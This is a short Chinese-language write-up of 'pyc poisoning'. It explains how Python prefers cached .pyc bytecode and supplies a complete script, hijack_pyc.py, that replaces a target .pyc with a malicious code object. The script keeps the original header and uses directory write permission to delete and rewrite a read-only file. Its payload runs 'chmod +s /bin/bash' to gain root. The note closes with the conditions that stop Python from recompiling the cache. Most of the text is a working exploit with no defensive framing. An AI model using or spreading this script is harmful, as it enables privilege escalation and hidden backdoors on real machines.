pyc poisoning
1. 介绍
运行python脚本时会优先使用 __pycache__ 目录下的 .pyc 中已经编译好的代码,如果我们把 .pyc 文件完美替换[1]为一个恶意的 .pyc 文件,那么执行python脚本时,就会运行我们这个.pyc文件中编译好的代码
2. 利用
大致利用过程:
- 执行python脚本,生成正常
.pyc文件 - 运行
hijack_pyc.py传入.pyc的路径 - 再次运行python脚本,调用我们替换的
.pyc缓存,执行恶意代码
hijack_pyc.py
import marshal
import time
import sys
import struct
import os
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target_pyc_file>")
sys.exit(1)
fn = sys.argv[1]
#读取原始文件的头部信息 (Magic, Flags, Timestamp, Size)
try:
with open(fn, 'rb') as f:
# Python 3.7+ 的 .pyc 头部通常为 16 字节
magic = f.read(4)
flags = f.read(4)
timestamp = f.read(8)
# 显示读取到的信息,方便确认
print(f"[*] 成功读取头部信息:")
print(f" Magic: {' '.join([hex(i) for i in bytearray(magic)])}")
t, s = struct.unpack('<LL', timestamp)
print(f" Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t))}")
except Exception as e:
print(f"[-] 读取失败: {e}")
sys.exit(1)
payload_code = '__import__("os").system("chmod +s /bin/bash")'
print(f"[*] 构造 Payload: {payload_code}")
c2 = compile(payload_code, "exp.py", "exec")
code_binary = marshal.dumps(c2)
# 3. 删除并重写文件 (利用目录写权限绕过文件只读限制)
print(f"[*] 正在尝试替换文件 {fn}...")
try:
# 如果直接打开失败,先尝试删除
if os.path.exists(fn):
os.remove(fn)
print(f"[+] 已删除原文件,准备重写...")
with open(fn, 'wb') as outfile:
outfile.write(magic + flags + timestamp + code_binary)
print(f"[+] 成功!已覆盖为恶意代码对象。")
except PermissionError:
print(f"[-] 权限不足:请确认你对输出目录 {os.path.dirname(fn)} 是否有写权限。")
except Exception as e:
print(f"[-] 发生错误: {e}")
新
.pyc与旧.pyc满足以下条件时,运行python脚本就不会编译新的.pyc文件- 时间戳相同
- 文件大小相同
- 哈希值相同(python3.7之后新增)
- magic number相同(不同Python版本的值不同)
- 编译标志相同
- 优化标志相同
